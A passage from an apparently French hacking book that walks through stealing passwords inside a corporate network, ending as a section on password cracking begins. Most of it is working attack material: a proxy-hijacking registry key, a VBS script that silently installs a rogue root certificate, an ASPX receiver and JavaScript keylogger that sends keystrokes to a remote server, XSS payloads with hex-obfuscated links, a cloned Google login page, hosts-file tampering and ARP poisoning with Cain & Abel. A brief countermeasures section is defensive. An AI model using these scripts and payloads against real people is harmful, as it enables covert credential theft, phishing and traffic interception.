application alors qu’il existe une pléthore d’outils gratuits téléchargeables.
De plus, la plupart de ces outils sont aussi scriptables, ce qui permet une éventuelle
communication avec votre application.
Par exemple, sur le site http://www.nirsoft.net/, vous trouverez des outils permettant de
retrouver les mots de passe stockés dans IE7 à IE9.
Un outil permettant de révéler les mots de passe Wi-Fi (comme celui qu’on vient de
fabriquer) :

Récupérer les mots de passe réseau :

Un mot de passe mémorisé dans un fichier RDP :

Securityxploded.com est un autre site proposant un ensemble d’outils permettant de


récupérer un mot de passe perdu, comme PDF Password Recovery :

Outlook Password Decryptor permet d’avoir des informations intéressantes sur les comptes
mail enregistrés. Dans le cadre d’une PME, il n’est pas rare d’avoir des boîtes mail en POP ou
en IMAP.

Word Password Recovery permet de trouver les mots de passe des documents Word protégés
La plupart de ces outils sont utilisables en ligne de commande et sont donc scriptables. Il vous
est donc possible de les mettre dans une application piégée comme nous l’avons vu dans les
chapitres précédents.
Cette application utilisée pour retrouver les informations mémorisées par Safari le montre.

3. Contre-mesures
Pour empêcher l’extraction des mots de passe, vous devez déjà empêcher les utilisateurs de
devenir administrateurs d’une machine ou du domaine, ce n’est qu’à ce prix-là que vous
réduirez les fuites. Vous devez aussi installer un antivirus efficace et à jour pour qu’il détecte
les produits comme Pwdump et les autres logiciels d’extraction de mots de passe. Au niveau
des processus, mettez en place une différenciation des comptes d’administration des
machines, des serveurs et des contrôleurs de domaine. Pour chaque utilisateur ayant un besoin
d’administration, créez un compte d’utilisateur différent suivant le rôle pour qu’il ait une
portée restreinte.
Par exemple pour l’utilisateur Bob :
 Créez un compte Bob pour l’utilisation courante comme les mails, les documents, la
navigation, etc.
 Créez un compte ADM_SRV_Bob pour l’administration des serveurs.
 Créez un compte ADM_AD_Bob pour l’administration d’Active Directory.
 Créez un compte ADM_PC_Bob pour l’administration des PC.
Cela réduira la gravité d’une attaque si un des comptes est corrompu par un logiciel
malveillant
Comment récupérer un mot de passe depuis
le réseau ?
Les mots de passe transitent aussi sur le réseau. Les sites web, les applications ou l’accès aux
ressources demandent des informations de connexion. Nous allons profiter de cela pour
récupérer des mots de passe.

1. Utilisation d’un proxy


Quand l’utilisateur va sur un site web ou sur un intranet, il peut lui être demandé d’entrer un
nom d’utilisateur ainsi qu’un mot de passe dans un formulaire web.
Le navigateur se connecte dans la plupart des cas directement à un intranet, mais utilise
parfois un proxy pour se connecter sur un site web. Le trafic, y compris le mot de passe,
transite donc par ce proxy. Nous utiliserons le même principe pour récupérer le mot de passe
d’un utilisateur se connectant sur un intranet ou utilisant une application s’authentifiant par un
webservice. Nous avons pour cela deux tâches à réaliser : mettre en œuvre un proxy qui nous
donnera les informations recherchées et rediriger le trafic web de l’utilisateur vers notre
proxy.
a. Configurer la cible
Pour rediriger le trafic, nous allons modifier le registre de l’utilisateur en piégeant une
application ou un fichier (voir le chapitre Prendre le rôle administrateur ou système).
Faites exécuter la clé pour modifier le registre de l’utilisateur cible.
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
"MigrateProxy"=dword:00000001
"ProxyEnable"=dword:00000001
"ProxyHttp1.1"=dword:00000001
"ProxyServer"=" http=nomdenotremachine:8080"
De cette manière, nous ne prenons que le trafic HTTP, HTTPS sera traité dans la section
suivante.
b. Utiliser Burp Proxy
Pour mettre en œuvre notre application, nous utiliserons Burp Proxy téléchargeable sur
Internet. Burp Proxy est une application sans installation et en Java très facile à utiliser,
disponible à l’adresse : http://portswigger.net/burp/download.html
Une fois le téléchargement terminé, démarrez l’application et allez dans proxy - options,
puis cliquez sur edit. Désactivez la coche listen on loopback interface only. Cliquez ensuite
sur update. Sans cette modification, le proxy n’écoute que sur l’adresse de bouclage
127.0.0.1.
Dans le cas où vous utilisez déjà un proxy dans l’entreprise, vous pouvez configurer les
champs redirect to host et redirect to port pour rediriger le flux reçu par Burp vers le proxy
normal de l’entreprise.

Allez ensuite dans proxy - intercept, cliquez sur intercept is On pour désactiver l’option
d’interception, sinon chaque requête sortante ou entrante sera bloquée par le proxy tant
qu’elle n’est pas validée. Cela permet la modification « en live » d’une requête sortante ou
entrante. Le résultat doit ressembler à l’image suivante :

Une fois la configuration effectuée, vous trouverez toutes les requêtes et les réponses à celle-
ci sous l’onglet history.
Allez dans l’onglet history, choisissez la requête à analyser, puis allez dans request -
params. Vous trouverez alors les informations pertinentes que vous cherchez.
La plupart du temps, les informations intéressantes sont envoyées au serveur à l’aide d’une
requête de type POST, pour être plus discret aux yeux de l’utilisateur, une requête de type
GET étant passée comme paramètre directement dans l’URL du navigateur. Il suffit alors de
rechercher ce type de méthodes dans le proxy pour trouver un mot de passe plus rapidement.

2. Introduction aux certificats et à HTTPS


a. Principe d’HTTPS
HTTPS est la version sécurisée d’HTTP. Lors d’un échange entre un navigateur et un serveur
utilisant SSL, le trafic entre les deux parties est crypté et sécurisé.
Les certificats sont la base de l’utilisation d’HTTPS. Pour sécuriser le trafic, la séquence
suivante doit avoir lieu :
 Un client envoie une demande de connexion à un serveur.
 Le serveur web envoie sa clé publique au client.
 Le client contrôle la validité du certificat, contrôlant entre autres si le certificat a été
émis par une autorité de certification digne de confiance.
 Dans la mesure où le certificat est valide ou que l’utilisateur choisit de continuer. Le
client crypte une clé symétrique en utilisant la clé publique envoyée du serveur et
renvoie la clé ainsi protégée au serveur.
 Le serveur décrypte la clé envoyée à l’aide de sa clé privée. L’échange entre le serveur
et le client est maintenant crypté à l’aide de la clé symétrique envoyée par le client.
 La clé symétrique est ensuite changée régulièrement.

Pour vérifier que la clé envoyée du serveur émane bien du serveur original, le client vérifie
que le certificat comporte le nom de l’URL demandé qui se trouve dans le sujet ou dans les
SAN (Subject Alternative Name) du certificat. L’autorité de certification qui a fourni le
certificat doit aussi être reconnue. Le client fait cette dernière vérification en inspectant le
magasin de certificats des « Root CA » autorisé de l’utilisateur et le magasin de la machine.
Nous n’allons pas attaquer SSL de front, mais en donnant à un navigateur un proxy pour
HTTPS. Le proxy servira alors de point de terminaison, et un nouveau trafic sera créé à partir
du proxy, lui aussi en HTTPS.

Nous devons pour cela avoir un certificat SSL correctement adapté à retourner au client. De
plus, pour que le navigateur croit que nous lui envoyons un certificat valable, il va falloir
ajouter le certificat root ayant servi à signer notre certificat au magasin de l’utilisateur ou à
celui de la machine, pour que celui-ci le voie comme fiable. Si un certificat n’est pas fiable, le
navigateur renverra un message relativement clair à l’utilisateur. Nous ne souhaitons pas cela.

b. Demander un certificat web ou de signature de code


Nous allons demander un certificat web à notre autorité de certification. L’installation d’une
autorité de certification est détaillée dans le chapitre traitant les contre-mesures techniques.
Ouvrez une console MMC et ajoutez la gestion des certificats de l’ordinateur.

Dans le dossier Personnel, demandez un nouveau certificat en cliquant avec le bouton droit
de la souris.

Allez jusqu’à la sélection du modèle.

Sélectionnez le modèle de type Serveur Web et cliquez sur Détails, puis sur le bouton
Propriétés.

Pour demander un certificat de signature de code, la démarche est la même, seul le modèle
change. Vous devrez alors sélectionner le modèle Signature de code. Les étapes Nom
commun et Autre nom ne sont pas à faire dans ce cas.
Ajoutez un nom dans le champ Nom commun. Cet attribut est le sujet du certificat final.
Vous pouvez aussi ajouter des noms alternatifs à l’aide de DNS (SAN de notre certificat).
Utilisez *.votredomaine.fr pour couvrir toutes les pages souhaitées pour un domaine.

Dans l’onglet Général, donnez un nom simple pour retrouver simplement votre certificat
dans le magasin.

Dans l’onglet Clé privée, cochez Permettre l’exportation de la clé privée pour que la clé
puisse être exportée vers notre proxy.

Vous pouvez maintenant achever la demande et ensuite ouvrir le certificat reçu.

Vous pouvez observer le sujet ainsi que les sujets alternatifs dans le cas d’un certificat web.
Exportez le certificat créé avec sa clé privée.

Choisissez le format PKCS #12.

Définissez un mot de passe, comme « 1234 ».

Vous pouvez grâce à cette exportation installer votre certificat sur n’importe quelle machine.
c. Configurer Burp Proxy pour analyser HTTPS
Vous pouvez maintenant configurer Burp Proxy pour utiliser le certificat. Allez dans l’onglet
proxy - options, cliquez sur edit, puis choisissez use a custom certificate. Sélectionnez votre
certificat et mettez votre code.

Cliquez sur update pour que vos modifications soient prises en compte. Le proxy est
maintenant prêt à intercepter le trafic HTTPS et à retourner un certificat au navigateur.
d. Installer un root CA avec les droits utilisateurs
Nous devons maintenant faire installer le certificat root à notre victime. Pour installer un
certificat dans le magasin root de la machine, il faut être administrateur de la machine. Par
contre, pour installer un certificat dans le magasin de l’utilisateur, il ne faut pas de droit
particulier. C’est donc comme cela que nous allons procéder, viser l’utilisateur et non pas la
machine.
Testez l’installation du certificat root avec la ligne suivante :
certutil -user -addstore root root.cer
Sachez que l’exécution de cette ligne de commande engendre un message à l’utilisateur.
Pour cacher ce message à la cible et valider l’installation du certificat automatiquement, nous
allons remplacer la ligne de commande par un script VBS. Celui-ci enverra une combinaison
de touches pour valider l’installation. Le programme doit avoir le focus pour fonctionner,
testez-le avant de l’envoyer.
Créez un nouveau fichier texte avec l’extension .VBS
’On démarre certutil avec les paramètres
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "certutil -user -addstore root root.cer", 9
’On attend 1 seconde que certutil s’ouvre
WScript.Sleep 1000
’on envoie alt + o pour confirmer l’installation
WshShell.SendKeys "%o"
’on envoie alt + y dans le cas d’un système en anglais
WshShell.SendKeys "%y"
Piégez une application et faites-la exécuter à l’utilisateur cible.
Une fois la modification apportée au navigateur cible, l’utilisateur ne s’apercevra pas qu’il y a
un proxy entre lui et le serveur de destination. Pourtant, le trafic est sécurisé par notre
certificat jusqu’au proxy.
Le mot de passe est intercepté par le proxy, il y est visible en clair.
3. Script permettant d’écouter le clavier sur une page web
Il est d’abord nécessaire que vous ayez un accès en modification à une page de votre site
intranet comportant un login ou à un site SharePoint avec un formulaire pour une application
particulière. Vous allez alors pouvoir ajouter un script (ou keylogger) permettant de récupérer
les touches tapées sur le clavier de la personne consultant le site. Dans le cadre d’une faille
XSS, ce code peut aussi être injecté directement sur une page de login.
a. La page web de réception
Nous allons pour réaliser cette technique d’abord créer la page qui permet la réception des
touches pressées par la victime. Cette page aspx devra être hébergée dans IIS. Vous pouvez
créer cette page web avec le Bloc-notes ou tout éditeur de texte ; il n’est pas utile d’avoir
Visual Studio. Nous allons écrire une page qui créera un fichier par adresse IP.
Cette page devra être stockée sur un serveur web IIS supportant .NET et les pages aspx.
Créez une page aspx avec le contenu suivant :
<%@ Page Language="C#" AutoEventWireup="true" %>
<script runat="server">

protected void Page_Load(object sender, EventArgs e)


{
string texte = Request.Params["touches"];
string ipSource = (Request.UserHostAddress.Replace(":",
"-")).Replace(".", "-");
if (texte != null)
{
if (texte.Length > 0)
{
System.IO.StreamWriter w = new
System.IO.StreamWriter(@"c:\temp\Record-" + ipSource + ".txt", true);
w.Write(texte);
w.Flush();
w.Close();
}
}
}
</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server" onload="Page_Load">
<div>
</div>
</form>
</body>
</html>

b. Le code JavaScript
Le traitement est ici simpliste (il ne gère pas les touches particulières) mais donne une bonne
idée des principes de cette technique très simple.
Vous pouvez maintenant ajouter le script suivant à la page web à piéger.
<script language="javascript">
var touches=’’;
document.onkeypress = function(e)
{
get = window.event?event:e;
touche= get.keyCode?get.keyCode:get.charCode;
touche= String.fromCharCode(touche);
touches+=touche;
}
window.setInterval(function()
{
new Image().src = ’http://server/Default.aspx?touches=’+touches;
touches= ’’;
}, 1000);
</script>

c. L’ajout du script sur une page SharePoint


SharePoint est très utilisé dans les entreprises en tant qu’intranet, forum ou plateforme de
gestion documentaire.
Pour mettre le script en action sur un site SharePoint ou Office 365, il suffit d’ajouter un
module d’édition de contenu.
Allez sur la page à modifier et cliquez sur l’édition de la page.
Ajoutez un module d’édition de contenu.

Modifiez la source HTML.

Ajoutez le script dans la fenêtre d’édition.


Vous pouvez maintenant cacher le module en modifiant les propriétés d’affichage de celui-ci.
Il reste maintenant à le tester. Pour cela il suffit d’écrire quelque part dans la page.
Remplissez le login. Les touches tapées seront envoyées au serveur qui les ajoutera au fichier
texte lié à l’IP source.

Toutes les informations écrites sur le site SharePoint sont maintenant enregistrées
discrètement sur un serveur distant. Il est généralement tout aussi facile de le faire sur les
forums mal protégés ou sur les Wikis ne bloquant pas correctement le code JavaScript.
d. L’injection du script dans une faille XSS
Pour ajouter notre script, nous avons pour l’instant utilisé le droit d’écriture sur le site cible
mais il n’est pas toujours aussi facile d’injecter du code. Dans un site web où nous n’avons
pas de droit d’écriture direct, nous utiliserons ce même script sur une faille XSS (Cross Site
Scripting). La démonstration sera faite sur un formulaire ayant une faille de ce type. Vous
devrez dans votre cas d’abord trouver une faille XSS avant de pouvoir injecter le script.
La première étape est la détection d’une faille et le test de celle-ci. La page d’exemple ci-
dessous renvoie le nom de la page recherchée et indique qu’elle n’existe pas. Cela veut dire
que le texte donné en paramètre est transmis au serveur qui lui, l’a réécrit sur la page.

Pour tester la faille, nous pouvons simplement remplacer le nom de la page par un script
JavaScript, qui affiche un message.
?redirect=<script>alert(’ok’) ;</script>

Parfait, le script est écrit sur la page et est exécuté. Nous devrions pouvoir injecter le
keylogger. Nous allons analyser la source de la page.
<span id="LError">la page <script>alert(’ok’);</script> n’existe
pas.</span>
Le script est écrit entre l’ouverture et la fermeture d’une balise SPAN. Il est donc important
pour nous de fermer la balise SPAN avant d’ajouter le script.
</span><script>alert(’ok’);</script>admin<span>
Le résultat sera plus précis. Maintenant, nous pouvons injecter le script, mais dans le cas d’un
script complexe il est plus pertinent de faire référence au script plutôt que de l’injecter
directement. Nous allons utiliser une fonction JavaScript pour télécharger le keylogger dans
notre page. Il suffit d’enregistrer le script dans un fichier js sur notre serveur, puis de modifier
notre requête de la manière suivante :
?redirect=</span><script language="javascript"
src="http://monserveur/keylogger.js" ></script>admin<span>
Lors du remplissage des champs du formulaire, les informations de touches sont envoyées au
serveur qui les écrit dans un fichier par adresse IP.

Le script n’est pas discret dans l’URL, il faut le cacher au mieux avant de diffuser le lien.
Pour cela, nous utiliserons une fonction automatique des navigateurs, la conversion du texte
hexadécimal en texte ASCII. Dès que le navigateur reçoit de l’hexadécimal, il le convertit en
texte. Si vous tapez l’URL suivante dans votre navigateur, vous tomberez sur un site web très
intéressant : http://%77%77%77%2E%65%64%69%74%69%6F%6E%73%2D%65%6E
%69%2E%66%72
Pour convertir le texte en hexadécimal, vous pouvez télécharger l’application de conversion
sur la page Informations générales.
Le résultat est celui recherché : l’URL ne montre plus aucun signe direct de script. Pourtant,
en ouvrant la page source, nous pouvons voir le script chargeant le keylogger dans la page.

Il ne reste plus qu’à envoyer le lien par mail ou à l’ajouter sur le site intranet de l’entreprise.
Nous avons vu comment injecter un keylogger simple de différentes manières. Si vous
souhaitez aller plus loin avec ce type de techniques, vous pouvez utiliser le keylogger sous
licence GNU téléchargeable gratuitement ici :
http://sourceforge.net/projects/jskeylogger/files/
Le package téléchargé intègre un petit serveur web, un fichier JavaScript keylogger ainsi que
des exemples HTML de test. C’est une bonne manière de démarrer sans rien développer ou
installer.
4. Utiliser un faux site web copié
Si le site distant n’a pas de faille XSS et que vous n’avez pas de droit d’administration, il sera
alors impossible d’injecter du script pour écouter le clavier. Toutefois, une option est de
refaire un site ressemblant, pour que l’on croie être sur la vraie page de login. Un utilisateur
est en général très attentif au design et reconnait assez facilement un site mal fait. De plus, s’il
est consciencieux, il verra ou contrôlera vers où pointe l’envoi du formulaire en allant avec la
souris sur le bouton avant de le cliquer. Le but est donc d’avoir une copie conforme de
l’original et de ne pas modifier les paramètres de destination du formulaire.
a. Aspirer le site
Pour copier un site, nous allons utiliser un logiciel très simple et très efficace. L’application
s’appelle WinHtTrack et elle sert à aspirer une page ou l’ensemble d’un site, avec les images,
les feuilles de style, les JavaScript, etc. Elle recrée les liens, le site récupéré est navigable.
Vous pouvez télécharger le logiciel ici : http://www.httrack.com/
Une fois le logiciel installé, il vous permet de commencer un nouveau projet de copie. Nous
allons prendre l’exemple d’une messagerie publique connue.
Donnez un nom de projet, ainsi que le chemin où le site sera enregistré.

Ajoutez l’URL du site à copier dans le champ Adresse Web.

Les options vous permettent de limiter la profondeur à aspirer, les extensions des fichiers
ainsi que de fixer d’autres contraintes intéressantes. Nous vous conseillons de limiter la
profondeur de l’aspiration pour éviter de télécharger tout Internet sur votre machine.
Cliquez sur Terminer pour commencer le téléchargement.

Une fois la copie terminée, cliquez sur le bouton Explorer la copie du site.

La page locale a été parfaitement copiée. Le formulaire envoie bien les informations
d’identification à la destination normale.
b. Piéger le site
Il ne reste plus qu’à piéger la page pour obtenir les informations d’authentification. Pour cela,
nous pourrions renvoyer le formulaire sur une page qui enregistre le nom d’utilisateur et le
mot de passe, mais ça ne serait pas discret. Nous allons à la place ajouter le code JavaScript
qui enregistre les touches frappées.
Allez dans le dossier où sont les fichiers, ouvrez la page index.
Il est possible que le code HTML redirige le navigateur vers un autre emplacement qui est la
vraie page de login, dans notre cas, ServiceLogin49.html :
<HEAD>
<TITLE>Page has moved</TITLE>
</HEAD>
<BODY>
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=ServiceLogined49.html">
<A HREF="ServiceLogined49.html"><B>Click here...</B></A>
</BODY>
Modifiez le fichier ServiceLogin49.html pour ajouter le code JavaScript créé dans la section
Script permettant d’écouter le clavier sur une page web juste après la balise « HEAD » et
avant la balise « TITLE ».
<head>
<script language="javascript">
var touches=’’;
document.onkeypress = function(e)
{
get = window.event?event:e;
touche= get.keyCode?get.keyCode:get.charCode;
touche= String.fromCharCode(touche);
touches+=touche;
}
window.setInterval(function()
{
new Image().src = ’http://server/Default.aspx?touches=’+touches;
touches= ’’;
}, 1000);
</script>

<meta charset="utf-8">
<title>Comptes Google</title>
Les touches tapées lors de l’authentification seront envoyées au serveur, puis l’utilisateur sera
redirigé sur le vrai site et directement authentifié.

5. Redirection de ports et écoute du réseau


Si un serveur web avec une fenêtre d’authentification était hébergé sur notre machine, le fait
d’écouter le trafic réseau grâce à un sniffer nous permettrait d’avoir le mot de passe de
l’utilisateur, et cela, sans accéder au formulaire ou à la base de données de l’application. Nous
pourrions alors faire un faux formulaire web comme expliqué dans le chapitre Fabriquer ses
propres outils de hacking. Nous avons aussi un moyen plus simple, qui n’est pas bien connu.
Nous allons demander à l’utilisateur de se connecter sur le formulaire original, mais en
passant le trafic réseau par notre machine. Nous écouterons le réseau avec un sniffer et aurons
donc accès à ces informations d’authentification sans pour autant devoir imiter la page de
login originale.
a. Configuration de la redirection
Nous allons rediriger un port de notre choix vers la destination. Dans notre cas, la destination
sera le serveur intranet ayant un formulaire web où l’utilisateur s’authentifiera. Nous devons
pour cela connaître notre IP, ainsi que l’IP et le port de destination.
Exécutez ipconfig dans une fenêtre CMD pour obtenir votre IP.

Faites un ping vers la destination pour obtenir l’IP du serveur. Le port, lui, est en général 80
pour un service web.

Nous allons rediriger notre port 8080 vers le port 80 du serveur.


Exécutez la ligne de commande avec des privilèges élevés.
netsh interface portproxy set v4tov4 listenport=8080
listenaddress=192.168.1.37 connectaddress=192.168.1.56
connectport=80 protocol=tcp
Cette commande nous permet de rediriger le trafic qui arrive sur le port 8080 à notre adresse
IP vers le serveur de destination sur le port 80.
À partir de maintenant, tout le trafic qui arrive sur notre port 8080 sera envoyé vers le
formulaire web normal.
b. Envoyer la cible sur notre site
Nous devons maintenant obliger la personne cible à se connecter sur le serveur en passant par
notre machine. Pour cela, vous pouvez la piéger en mettant un lien sur un site, qui devra être
écrit de la manière suivante pour qu’il soit plus difficile à déceler :
<a href="http://intranet"
onclick="javascript:window.location.href =
’http://192.168.1.37:8080’;" >intranet</a>
En mettant une URL de la sorte, l’utilisateur pourra être facilement flouté. Le lien qui apparaît
est bien intranet et même s’il reste dessus, l’URL qui apparaît réconforte l’utilisateur sur la
destination. Il ne sera redirigé sur la cible qu’après avoir cliqué.

Nous pourrions aussi modifier le fichier hosts de la victime pour que s’il met l’adresse dans
son navigateur le trafic arrive tout de même sur notre PC. Pour cela nous devons d’abord
rediriger notre port 80 vers le vrai serveur. Puis nous enverrons à la victime une application
piégée qui modifiera la résolution de noms sur son PC. La redirection est la même que
précédemment à l’exception du port d’écoute.
netsh interface portproxy set v4tov4 listenport=80
listenaddress=192.168.1.37 connectaddress=192.168.1.56
connectport=80 protocol=tcp
Créez un nouveau fichier bat ou vbs pour la modification du fichier hosts de la cible.
Attention, la modification du fichier hosts d’une machine cible nécessite les droits
administrateurs. C’est pour cela qu’elle n’est pas à privilégier.
Le fichier hosts se trouve dans C:\Windows\System32\Drivers\etc\.
Le fichier devra comporter la ligne suivante :
192.168.1.37 Intranet
Dès lors, tout le trafic vers intranet sera renvoyé vers notre machine. Depuis Windows Vista,
Windows utilise par défaut la résolution de noms dans l’ordre suivant :
1. Fichier hosts
2. Serveur DNS
3. Serveur WINS
4. Fichier de nom NetBIOS
Il est aussi possible de modifier l’entrée dans le serveur DNS, mais cela paraît difficile car il
faudrait d’abord pirater le serveur, qui le plus souvent est aussi contrôleur de domaine.
Nous pouvons plutôt ajouter une entrée quasiment similaire. Vous pouvez renommer votre
PC, ce qui nécessite des droits de modification sur les objets « machine » dans Active
Directory. Une bonne astuce consiste à créer une machine virtuelle et à la nommer Intranet0
ou quelque chose de ressemblant. Il est possible que cette opération suffise à ajouter son nom
au serveur DNS puisque le client DNS de Windows essaie de s’enregistrer dans le serveur
DNS qui lui est défini lors du démarrage de la connexion. On peut aussi forcer la commande,
si la machine n’est pas encore jointe au domaine, avec :
Ipconfig /registerdns
La sécurité par défaut d’une zone DNS stockée dans Active Directory empêche l’ajout d’un
enregistrement non sécurisé.

Il faut alors ajouter le PC au domaine. Cliquez avec le bouton droit sur les propriétés de
l’ordinateur puis sur Modifier les paramètres - Identité sur le réseau. Sélectionnez Cet
ordinateur appartient à un réseau d’entreprise. Je l’utilise pour me connecter à d’autres
ordinateurs de la société.

Cliquez sur Ma société utilise un réseau comprenant un domaine.


Saisissez vos informations de connexion au domaine.

Il n’est pas nécessaire d’être administrateur du domaine pour réaliser cette action. Par défaut,
un utilisateur authentifié peut ajouter jusqu’à 10 machines au domaine.

c. Écouter et analyser le trafic


Maintenant que le trafic de l’utilisateur passe par notre système, il nous reste à l’enregistrer et
à l’analyser. Nous aurons besoin d’un sniffer comme Wireshark ou Microsoft Network
Monitor pour réaliser cette étape.
Démarrez le moniteur réseau Microsoft ou Wireshark.

Testez vos modifications en allant sur l’URL de votre PC depuis une machine autre que la
vôtre avec le port choisi, par exemple, http://192.168.1.37:8080. Vous devriez voir le
formulaire du serveur distant. Entrez un nom d’utilisateur et un mot de passe de test, comme
admin et passtest.
Arrêtez l’enregistrement des paquets et observez ceux déjà reçus. Pour vous aider, vous
pouvez filtrer le résultat de Wireshark avec le port de réception. Entrez Tcp.port eq 8080.
Analysez les paquets jusqu’à trouver celui qui est pertinent. Dans l’exemple, nous voyons, ci-
dessous dans un paquet de 192.1.68.1.79 vers 192.168.1.37 sur le port 8080, une requête de
type HTTP POST ayant les paramètres &txtutilisateur=admin&txtpassword=passtest&.
La redirection de ports nous a permis de présenter le formulaire original à l’utilisateur, mais
en le faisant passer par notre sniffer.

6. ARP poisoning sous Windows


L’idéal lors d’une attaque, c’est que le trafic passe par la machine de l’attaquant, mais jusque-
là nous avons dû demander indirectement à l’utilisateur de venir jusqu’à nous. L’ARP
poisoning va nous permettre d’envoyer le trafic sur notre PC sans que l’utilisateur ne se doute
de ce qu’il se passe. C’est l’une des techniques les plus puissantes de ce livre, puisqu’elle
permet de pirater des informations de manière transparente pour la cible. Elle est de plus
relativement discrète et très simple à mettre en œuvre. Mais alors, comment ça fonctionne et
qu’est ARP ?
a. ARP, qu’est-ce que c’est ?
ARP est en dessous de l’IP dans le modèle OSI. C’est ce qui fait le lien entre l’IP avec
laquelle une application communique et le matériel qui envoie/reçoit la communication.
Quand un paquet IP part vers une machine distante, la résolution ARP est utilisée pour savoir
quelle carte physique doit recevoir le paquet. Si mon PC communique avec une machine dans
le même réseau que le mien, j’aurai dans mon cache ARP l’IP et l’adresse MAC de la
machine distante. Si je communique avec une machine qui n’est pas dans mon réseau, le
cache ne retiendra alors que l’adresse MAC de ma passerelle.
Vous pouvez observer votre cache ARP avec la commande arp -a.
On y voit aussi les adresses de diffusion.
Il est possible de forcer l’enregistrement d’une entrée dans le cache pour rediriger toujours
une IP vers la même carte réseau de destination. Cela s’appelle une entrée persistante, mais
cela nécessite des droits administrateurs sur la machine distante. Ce n’est pas intéressant pour
nous, toutefois voilà la ligne de commande pour réaliser cela, dans la mesure où vous
souhaitez piéger une application.
Pour trouver votre propre adresse MAC, faites ipconfig /all.

Puis, faites exécuter la commande suivante sur la cible, en remplaçant l’adresse MAC par la
vôtre :
arp -s 192.168.1.90 00-aa-00-62-c6-09
Maintenant, tout le trafic initialement prévu pour 192.168.1.90 sera dirigé vers votre machine.
Il ne reste plus qu’à sniffer le trafic avec Wireshark ou Microsoft Network Monitor comme vu
dans la section précédente.
Cette technique nécessite l’intervention de l’utilisateur qui en plus doit exécuter votre
application piégée avec des droits administrateurs. Nous allons simplifier l’attaque pour qu’il
n’ait plus besoin d’intervenir.
b. ARP poisoning avec Cain & Abel
Tout d’abord, vous devez comprendre comment fonctionne la résolution ARP. Lors d’une
demande de connexion, par exemple d’un navigateur vers un serveur web local, ARP va
résoudre l’adresse MAC du serveur web depuis son cache, si l’entrée existe. Si aucune entrée
n’existe, ARP va faire un broadcast pour que la machine cible réponde. C’est là qu’intervient
l’empoisonnement du cache ARP ou ARP poisoning. L’application envoie une réponse à la
demande de résolution à la machine cible avant que la machine réelle ne réponde. La machine
cible enregistre alors une mauvaise adresse MAC pour résoudre une adresse IP donnée. Tout
le trafic envoyé de la machine cible vers l’IP du serveur sera en réalité envoyé sur la machine
pirate, puis redirigé vers le bon serveur. Entre temps, le trafic aura pu être stocké et analysé.
Nous allons utiliser un outil de piratage installable sur Windows, WinPcap.
Vous devez d’abord installer une version récente de WinPcap si vous utilisez Windows 8.
Vous trouverez le fichier d’installation sur : http://www.winpcap.org/
Téléchargez et installez Cain & Abel sur le site : http://www.oxid.it/downloads/ca_setup.exe
Une fois Cain & Abel installé, exécutez la ligne de commande suivante pour que l’outil
puisse fonctionner correctement :
Netsh int ip set global taskoffload=disable
Désactivez votre pare-feu dans la mesure du possible. Si une stratégie de groupe vous
empêche d’arrêter le pare-feu reportez-vous au chapitre Outrepasser les restrictions logicielles
pour savoir comment contrecarrer ce problème.
Exécutez Cain & Abel et activez l’écoute du réseau, avec le deuxième bouton en partant de la
gauche. Allez dans l’onglet Sniffer.

Appuyez sur le bouton + et l’application vous proposera de scanner le réseau pour chercher
les machines présentes. Cochez la case All Tests dans la fenêtre qui s’affiche.
Le scanneur devrait identifier les machines de votre réseau :

Cliquez maintenant sur le bouton APR situé en bas de la fenêtre.

Cliquez dans la zone du haut, là où il y a les lignes pour que le + s’active. Puis, appuyez sur
+.
La fenêtre qui s’affiche vous permet de choisir depuis et vers quelle machine le flux sera
piraté.
Choisissez la machine source et la machine destination dont le trafic sera rerouté vers la
vôtre.

L’empoisonnement doit commencer jusqu’à obtenir un résultat semblable à l’image ci-


dessous. Cela indique que le trafic est bien routé par votre machine.

En allant dans l’onglet Passwords en bas, vous trouverez les mots de passe détectés. Si
l’utilisateur va sur un site web sécurisé, l’application crée un certificat à la volée et l’envoie à
l’utilisateur. Nous voyons ici un mot de passe HTTP et deux mots de passe IMAP enregistrés
par l’application.

Dans le cas où rien ne s’est passé, vous pouvez changer la carte qui écoute le réseau dans les
options.
Dans le menu, cliquez sur Configure et choisissez la bonne interface réseau.

Toujours dans les options, vous pouvez aussi ajouter le nom des champs de formulaire web
pris pour l’utilisateur et mot de passe, pour que l’application les reconnaisse en tant que tels.

c. Configurer Cain & Abel pour analyser le trafic HTTPS


Le trafic HTTPS est aussi pris en compte par le logiciel. Toutefois, par défaut, il renvoie un
certificat signé par l’application. Le serveur distant n’est donc pas validé par le navigateur et
l’utilisateur s’apercevra vite du problème. Pour pallier ce problème, Cain & Abel donne la
possibilité d’insérer un certificat root avec sa clé privée. Le résultat est alors magique, les
certificats envoyés à la cible sont reconnus si l’utilisateur a le certificat root dans son magasin.
Pour configurer un certificat root, vous devez d’abord l’exporter depuis l’autorité de
certification. Allez ensuite dans les options en cliquant sur Configure, puis dans l’onglet
Certificate spoofing, puis convertissez le certificat root que vous aurez exporté sur l’autorité
de certification. Cliquez pour cela sur Certificate conversion et, à l’invite, entrez le mot de
passe saisi lors de l’exportation.
Vous pouvez maintenant sélectionner le nouveau certificat .crt créé par Cain & Abel.

Dorénavant, lorsqu’un navigateur demandera un certificat à Cain & Abel, celui-ci lui
retournera un certificat signé par une autorité qu’il reconnaît.
Les étapes d’exportation d’un certificat ainsi que l’installation du certificat root public sur une
cible sont décrites dans la section Introduction aux certificats et à HTTPS.
d. Utiliser Cain & Abel pour trouver le mot de passe d’un utilisateur du domaine
Une fois que le trafic réseau est transmis à Cain & Abel, celui-ci est capable de remonter
toutes les informations intéressantes. Lorsque l’on redirige le trafic d’un PC en domaine, nous
obtenons alors le hash du mot de passe de l’utilisateur de cette machine.
Vous retrouverez ces informations dans Sniffer - Passwords.

Pour trouver le mot de passe, cliquez à l’aide du bouton droit sur l’utilisateur, puis sur Send
to Cracker. Allez ensuite dans l’onglet Cracker.
Si le champ LM Hash est rempli, il sera alors très facile de le retrouver. Sinon, il restera la
possibilité de le « casser » en force brute, avec un dictionnaire ou simplement en testant des
mots de passe par hasard. Nous verrons d’autres options de cet outil dans la section suivante.

7. Logiciel et moyen pour casser les mots de passe


a. Type de cryptage
